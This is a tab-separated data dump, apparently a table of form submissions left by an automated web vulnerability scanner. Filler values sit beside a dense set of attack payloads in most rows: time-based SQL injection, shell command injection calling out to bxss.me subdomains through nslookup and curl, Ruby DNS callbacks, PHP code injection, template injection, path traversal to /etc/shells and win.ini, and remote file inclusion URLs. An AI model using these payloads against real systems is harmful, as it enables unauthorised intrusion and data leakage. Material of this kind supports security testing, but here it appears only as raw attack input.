1	1	1	"(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'""+(select(0)from(select(sleep(15)))v)+""*/"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"<th:t=""${dfb}#foreach"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	${@print(md5(31337))}	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"echo amruaj$()\ svufgu\nz^xyu||a #' &echo amruaj$()\ svufgu\nz^xyu||a #|"" &echo amruaj$()\ svufgu\nz^xyu||a #"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	${@print(md5(31337))}\	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1-1; waitfor delay '0:0:15' -- 	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	$(nslookup -q=cname hitfftubtnlmb914f7.bxss.me||curl hitfftubtnlmb914f7.bxss.me)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	';print(md5(31337));$a='	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"12345'""\'\"");|]*%00{%0d%0a<%00>%bf%27'💡"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	(nslookup -q=cname hitcpydlibuux91d1f.bxss.me||curl hitcpydlibuux91d1f.bxss.me))	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	'.print(md5(31337)).'	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"&(nslookup -q=cname hitjmvevdyizj491f1.bxss.me||curl hitjmvevdyizj491f1.bxss.me)&'\""`0&(nslookup -q=cname hitjmvevdyizj491f1.bxss.me||curl hitjmvevdyizj491f1.bxss.me)&`'"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"""+""A"".concat(70-3).concat(22*4).concat(97).concat(84).concat(104).concat(70)+(require""socket""
Socket.gethostbyname(""hitdf""+""rsgkefqx16692.bxss.me."")[3].to_s)+"""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"'A'.concat(70-3).concat(22*4).concat(119).concat(80).concat(121).concat(74)+(require'socket'
Socket.gethostbyname('hitxq'+'jynjogdle25ae.bxss.me.')[3].to_s)"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	bxss.me	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	!(()&&!|*|*|	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	Http://bxss.me/t/fit.txt	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1-1)) OR 361=(SELECT 361 FROM PG_SLEEP(15))--	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"&(nslookup${IFS}-q${IFS}cname${IFS}hitdajtryxqfse5901.bxss.me||curl${IFS}hitdajtryxqfse5901.bxss.me)&'\""`0&(nslookup${IFS}-q${IFS}cname${IFS}hitdajtryxqfse5901.bxss.me||curl${IFS}hitdajtryxqfse5901.bxss.me)&`'"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	http://bxss.me/t/fit.txt%3F.jpg	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"""+""A"".concat(70-3).concat(22*4).concat(107).concat(72).concat(112).concat(70)+(require""socket""
Socket.gethostbyname(""hitqv""+""jhqjpexy2c7b5.bxss.me."")[3].to_s)+"""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"'+'A'.concat(70-3).concat(22*4).concat(99).concat(70).concat(101).concat(90)+(require'socket'
Socket.gethostbyname('hittz'+'ippyvrcs9cf8a.bxss.me.')[3].to_s)+'"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	!(()&&!|*|*|	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1JE0OXlu6')) OR 991=(SELECT 991 FROM PG_SLEEP(15))--	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"&echo cdqixj$()\ najvnv\nz^xyu||a #' &echo cdqixj$()\ najvnv\nz^xyu||a #|"" &echo cdqixj$()\ najvnv\nz^xyu||a #"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMURGOW1zWF') OR 785=(SELECT 785 FROM PG_SLEEP(15))--	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMUNVfoke0S')) OR 579=(SELECT 579 FROM PG_SLEEP(15))--	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	(select 198766*667891)	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	(nslookup -q=cname hitvgzltpcxeq26285.bxss.me||curl hitvgzltpcxeq26285.bxss.me))	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	$(nslookup -q=cname hitdpdsyebbir551bf.bxss.me||curl hitdpdsyebbir551bf.bxss.me)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1-1)) OR 298=(SELECT 298 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"&(nslookup -q=cname hitukvtktgzdg9c90e.bxss.me||curl hitukvtktgzdg9c90e.bxss.me)&'\""`0&(nslookup -q=cname hitukvtktgzdg9c90e.bxss.me||curl hitukvtktgzdg9c90e.bxss.me)&`'"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	)	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	-1' OR 5*5=25 or 'SVaFE4aJ'='	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	(nslookup -q=cname hitofnodvmyuv09763.bxss.me||curl hitofnodvmyuv09763.bxss.me))	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	;(nslookup -q=cname hitwxztplrhdza63fb.bxss.me||curl hitwxztplrhdza63fb.bxss.me)|(nslookup -q=cname hitwxztplrhdza63fb.bxss.me||curl hitwxztplrhdza63fb.bxss.me)&(nslookup -q=cname hitwxztplrhdza63fb.bxss.me||curl hitwxztplrhdza63fb.bxss.me)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	|(nslookup${IFS}-q${IFS}cname${IFS}hitldczhtuyqbe4779.bxss.me||curl${IFS}hitldczhtuyqbe4779.bxss.me)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	^(#$!@#$)(()))******	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"1����%2527%2522\'\"""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	^(#$!@#$)(()))******	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	^(#$!@#$)(()))******	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	bxss.me	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	../../../../../../../../../../../../../../etc/shells	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	c:/windows/win.ini	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"'""()"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	Http://bxss.me/t/fit.txt	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1'&&sleep(27*1000)*atktgd&&'	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"1""&&sleep(27*1000)*hznsho&&"""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	(select 198766*667891)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1'||sleep(27*1000)*svcfwq||'	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1'&&sleep(27*1000)*ivowox&&'	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1'||sleep(27*1000)*xxjhjw||'	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	bxss.me/t/xss.html?%00	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	/etc/shells	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	)	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	^(#$!@#$)(()))******	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"'+'A'.concat(70-3).concat(22*4).concat(111).concat(86).concat(110).concat(68)+(require'socket'
Socket.gethostbyname('hitpw'+'ywafrpmwa3270.bxss.me.')[3].to_s)+'"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU'&&sleep(27*1000)*wumhoo&&'	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"ncMUFCMU""&&sleep(27*1000)*fmimhs&&"""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	(select 198766*667891 from DUAL)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"ncMUFCMU""||sleep(27*1000)*wgeezp||"""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"|echo vybkgg$()\ lpumpz\nz^xyu||a #' |echo vybkgg$()\ lpumpz\nz^xyu||a #|"" |echo vybkgg$()\ lpumpz\nz^xyu||a #"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	expr 9000182318 - 977441	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"1""&&sleep(27*1000)*aavmjf&&"""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	(nslookup -q=cname hitkzqhsrzzdiee26c.bxss.me||curl hitkzqhsrzzdiee26c.bxss.me))	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1'||sleep(27*1000)*aomzci||'	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"&(nslookup -q=cname hitrobawmybhp297a9.bxss.me||curl hitrobawmybhp297a9.bxss.me)&'\""`0&(nslookup -q=cname hitrobawmybhp297a9.bxss.me||curl hitrobawmybhp297a9.bxss.me)&`'"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	/etc/shells	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	`(nslookup -q=cname hitefqpbvpatxde284.bxss.me||curl hitefqpbvpatxde284.bxss.me)`	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMUn95wPdi0	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	-1 OR 5*5=25	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	-1 OR 5*5=26	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	-1' OR 5*5=26 -- 	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"-1"" OR 5*5=25 -- "	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	-1' OR 5*5=25 or 'lwRHry0Z'='	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"-1"" OR 5*5=25 or ""E3sGw3vE""="""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"-1"" OR 5*5=26 or ""E3sGw3vE""="""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1'&&sleep(27*1000)*oxuizm&&'	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1'||sleep(27*1000)*qnsehj||'	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"1""||sleep(27*1000)*jslhyn||"""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"""+""A"".concat(70-3).concat(22*4).concat(102).concat(65).concat(107).concat(83)+(require""socket""
Socket.gethostbyname(""hittg""+""wvcqfxsx76cd5.bxss.me."")[3].to_s)+"""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"|echo yqgflx$()\ eplhii\nz^xyu||a #' |echo yqgflx$()\ eplhii\nz^xyu||a #|"" |echo yqgflx$()\ eplhii\nz^xyu||a #"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	(nslookup -q=cname hitrjxnimuzrw99614.bxss.me||curl hitrjxnimuzrw99614.bxss.me))	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"'""()"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"&(nslookup -q=cname hitpjabfbtflv0ad12.bxss.me||curl hitpjabfbtflv0ad12.bxss.me)&'\""`0&(nslookup -q=cname hitpjabfbtflv0ad12.bxss.me||curl hitpjabfbtflv0ad12.bxss.me)&`'"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	|(nslookup -q=cname hitiyjcrviwzi53d72.bxss.me||curl hitiyjcrviwzi53d72.bxss.me)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMUY4f1TvdJ	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"ncMUFCMU""||sleep(27*1000)*foscgu||"""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'""+(select(0)from(select(sleep(15)))v)+""*/"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	|(nslookup${IFS}-q${IFS}cname${IFS}hitqzrixujgale2e8f.bxss.me||curl${IFS}hitqzrixujgale2e8f.bxss.me)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	-1 OR 5*5=26	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	-1' OR 5*5=25 -- 	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU-1 waitfor delay '0:0:15' -- 	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"&(nslookup${IFS}-q${IFS}cname${IFS}hittjadznbvjh8b2c8.bxss.me||curl${IFS}hittjadznbvjh8b2c8.bxss.me)&'\""`0&(nslookup${IFS}-q${IFS}cname${IFS}hittjadznbvjh8b2c8.bxss.me||curl${IFS}hittjadznbvjh8b2c8.bxss.me)&`'"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"-1"" OR 5*5=26 -- "	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102'&&sleep(27*1000)*lfpgtz&&'	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102'||sleep(27*1000)*vdfqsw||'	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"94102""||sleep(27*1000)*qulrkh||"""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"-1"" OR 5*5=25 -- "	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"-1"" OR 5*5=25 -- "	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	'.print(md5(31337)).'	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	-1' OR 5*5=26 or 'tYqWD0wE'='	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"'"""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
